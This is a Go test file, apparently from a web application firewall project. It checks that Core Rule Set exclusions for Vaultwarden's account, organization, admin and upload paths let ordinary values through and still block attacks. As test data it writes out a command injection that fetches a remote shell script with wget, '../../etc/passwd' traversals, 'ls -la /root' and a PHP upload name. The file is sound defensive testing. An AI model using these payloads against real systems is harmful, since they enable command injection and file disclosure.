check / check (push) Failing after 2m50s
Adds vaultwarden.conf, the twelfth change. On Vaultwarden's account, organization and admin paths, names and password hints skip 930120, 932120, 932250 and 932260, and email addresses skip 932120 and 932260. The data breach report's address does too. The encrypted names of uploaded attachments and file sends skip 920120. Requests recorded from Vaultwarden 1.37.5 through the web vault, the Bitwarden command line client and the admin page pass at the defaults and while bodies are read. Model: opus-5-5
304 lines
10 KiB
Go
304 lines
10 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
|
const vaultwardenThreshold = 5
|
|
|
|
// Paths of Vaultwarden's API and admin page.
|
|
const (
|
|
vaultwardenOrganization = "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b"
|
|
vaultwardenCipher = "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d"
|
|
vaultwardenSignUp = "/identity/accounts/register/send-verification-email"
|
|
vaultwardenFinishSignUp = "/identity/accounts/register/finish"
|
|
vaultwardenPassword = "/api/accounts/password"
|
|
vaultwardenProfile = "/api/accounts/profile"
|
|
vaultwardenSettings = "/admin/config"
|
|
)
|
|
|
|
// vaultwardenEmail is a JSON body that sends an address in email.
|
|
const vaultwardenEmail = `{"email":"VALUE"}`
|
|
|
|
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
|
}
|
|
|
|
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
|
// request that sends it, and its body, with VALUE where the field's value
|
|
// goes.
|
|
type vaultwardenField struct {
|
|
method, target, contentType, body string
|
|
}
|
|
|
|
// with returns f's body holding value, escaped as f's kind of body escapes
|
|
// it.
|
|
func (f vaultwardenField) with(t *testing.T, value string) string {
|
|
t.Helper()
|
|
|
|
escaped := url.QueryEscape(value)
|
|
|
|
if f.contentType == jsonBody {
|
|
quoted, err := json.Marshal(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
escaped = strings.Trim(string(quoted), `"`)
|
|
}
|
|
|
|
return strings.ReplaceAll(f.body, "VALUE", escaped)
|
|
}
|
|
|
|
// vaultwardenNameFields hold every field that skips 930120, 932120, 932250
|
|
// and 932260: the names and the password hints.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenNameFields = []vaultwardenField{
|
|
{
|
|
http.MethodPost, vaultwardenSignUp, jsonBody,
|
|
`{"email":"alice@example.com","name":"VALUE"}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
|
},
|
|
{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
|
|
{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
|
|
{
|
|
http.MethodPost, "/api/organizations", jsonBody,
|
|
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
|
},
|
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
|
|
}
|
|
|
|
// vaultwardenAddressFields hold every field of a body that skips 932120
|
|
// and 932260 only: the email addresses.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAddressFields = []vaultwardenField{
|
|
{
|
|
http.MethodPost, "/identity/connect/token", formData,
|
|
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
|
},
|
|
{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
|
|
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"masterPasswordAuthentication":{"salt":"VALUE"}}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"masterPasswordUnlock":{"salt":"VALUE"}}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenPassword, jsonBody,
|
|
`{"authenticationData":{"salt":"VALUE"}}`,
|
|
},
|
|
{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
|
|
{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
|
|
{
|
|
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
|
`{"email":"VALUE","type":0}`,
|
|
},
|
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
|
|
{
|
|
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
|
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
|
},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
|
|
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
|
}
|
|
|
|
// vaultwardenBreachReport is the data breach report, which sends an address
|
|
// in the query, ending in "=".
|
|
const vaultwardenBreachReport = "/api/hibp/breach?username="
|
|
|
|
// vaultwardenAddresses are the addresses 932120 and 932260 refused.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAddresses = []string{"python3.dev@example.com", "powershell@example.com"}
|
|
|
|
// wantVaultwardenField checks that the Core Rule Set, reading bodies,
|
|
// refuses f holding value, or lets it through.
|
|
func wantVaultwardenField(
|
|
t *testing.T, f vaultwardenField, value string, refused bool,
|
|
) {
|
|
t.Helper()
|
|
|
|
r := request{f.method, f.target, []string{f.contentType}}
|
|
body := f.with(t, value)
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
|
if refused && got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s %s %s let through: %+v", f.method, f.target, body, got)
|
|
}
|
|
|
|
if !refused && got.Score >= vaultwardenThreshold {
|
|
t.Errorf("%s %s %s refused: %+v", f.method, f.target, body, got)
|
|
}
|
|
}
|
|
|
|
func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
|
|
for _, f := range vaultwardenNameFields {
|
|
wantVaultwardenField(t, f, value, false)
|
|
}
|
|
}
|
|
|
|
for _, value := range vaultwardenAddresses {
|
|
for _, f := range vaultwardenAddressFields {
|
|
wantVaultwardenField(t, f, value, false)
|
|
}
|
|
|
|
target := vaultwardenBreachReport + url.QueryEscape(value)
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score >= vaultwardenThreshold {
|
|
t.Errorf("%s refused: %+v", target, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// vaultwardenAttacks are an SQL injection, a script injection, a shell
|
|
// command and a path traversal.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAttacks = []string{
|
|
injection,
|
|
scriptTag,
|
|
"; wget http://example.com/x.sh",
|
|
"../../etc/passwd",
|
|
}
|
|
|
|
func TestVaultwardenAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, attack := range vaultwardenAttacks {
|
|
for _, f := range slices.Concat(vaultwardenNameFields, vaultwardenAddressFields) {
|
|
wantVaultwardenField(t, f, attack, true)
|
|
}
|
|
|
|
target := vaultwardenBreachReport + url.QueryEscape(attack)
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// An address keeps 932250, which refuses a listing of files, and
|
|
// 930120, which refuses system file names.
|
|
for _, value := range []string{"ls -la /root", ".htaccess@example.com"} {
|
|
for _, f := range vaultwardenAddressFields {
|
|
wantVaultwardenField(t, f, value, true)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// A name keeps the rules on vault items and folders, whose names are
|
|
// encrypted, off Vaultwarden's paths, and when the query has a field of
|
|
// the same name.
|
|
for _, target := range []string{
|
|
"/api/ciphers",
|
|
"/api/folders",
|
|
"/x" + vaultwardenProfile,
|
|
"/identity/other",
|
|
vaultwardenProfile + "?json.name=python3",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
|
body := `{"name":"python3"}`
|
|
|
|
if got, _ := inspectBody(t, crs, r, body); got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", target, body, got)
|
|
}
|
|
}
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/admin/other", `{"invitation_org_name":"python3"}`},
|
|
{vaultwardenProfile, `{"culture":"python3"}`},
|
|
{"/api/accounts/password-hint?json.email=python3", `{"email":"python3"}`},
|
|
} {
|
|
r := request{http.MethodPost, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, refused.body)
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPost, "/identity/other", []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, "username=python3")
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s username=python3 let through: %+v", r.target, got)
|
|
}
|
|
|
|
target := "/api/hibp/other?username=python3"
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// vaultwardenUpload returns a multipart body that uploads a file named name.
|
|
func vaultwardenUpload(name string) string {
|
|
return "--b\r\nContent-Disposition: form-data; name=\"data\"; filename=\"" + name +
|
|
"\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end
|
|
}
|
|
|
|
func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
|
|
|
|
for _, target := range []string{
|
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
|
vaultwardenCipher + "/attachment",
|
|
vaultwardenCipher + "/attachment-admin",
|
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a/share",
|
|
"/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa5796",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{multipart}}
|
|
|
|
if got, _ := inspectBody(t, crs, r, encrypted); got.Score >= vaultwardenThreshold {
|
|
t.Errorf("POST %s refused: %+v", target, got)
|
|
}
|
|
|
|
// The names of uploaded files keep the other rules: a path
|
|
// traversal and a PHP script are still refused.
|
|
for _, name := range []string{"../../etc/passwd", "x.php"} {
|
|
got, _ := inspectBody(t, crs, r, vaultwardenUpload(name))
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", target, name, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, target := range []string{"/upload", vaultwardenCipher + "/other"} {
|
|
r := request{http.MethodPost, target, []string{multipart}}
|
|
|
|
if got, _ := inspectBody(t, crs, r, encrypted); got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s let through: %+v", target, got)
|
|
}
|
|
}
|
|
}
|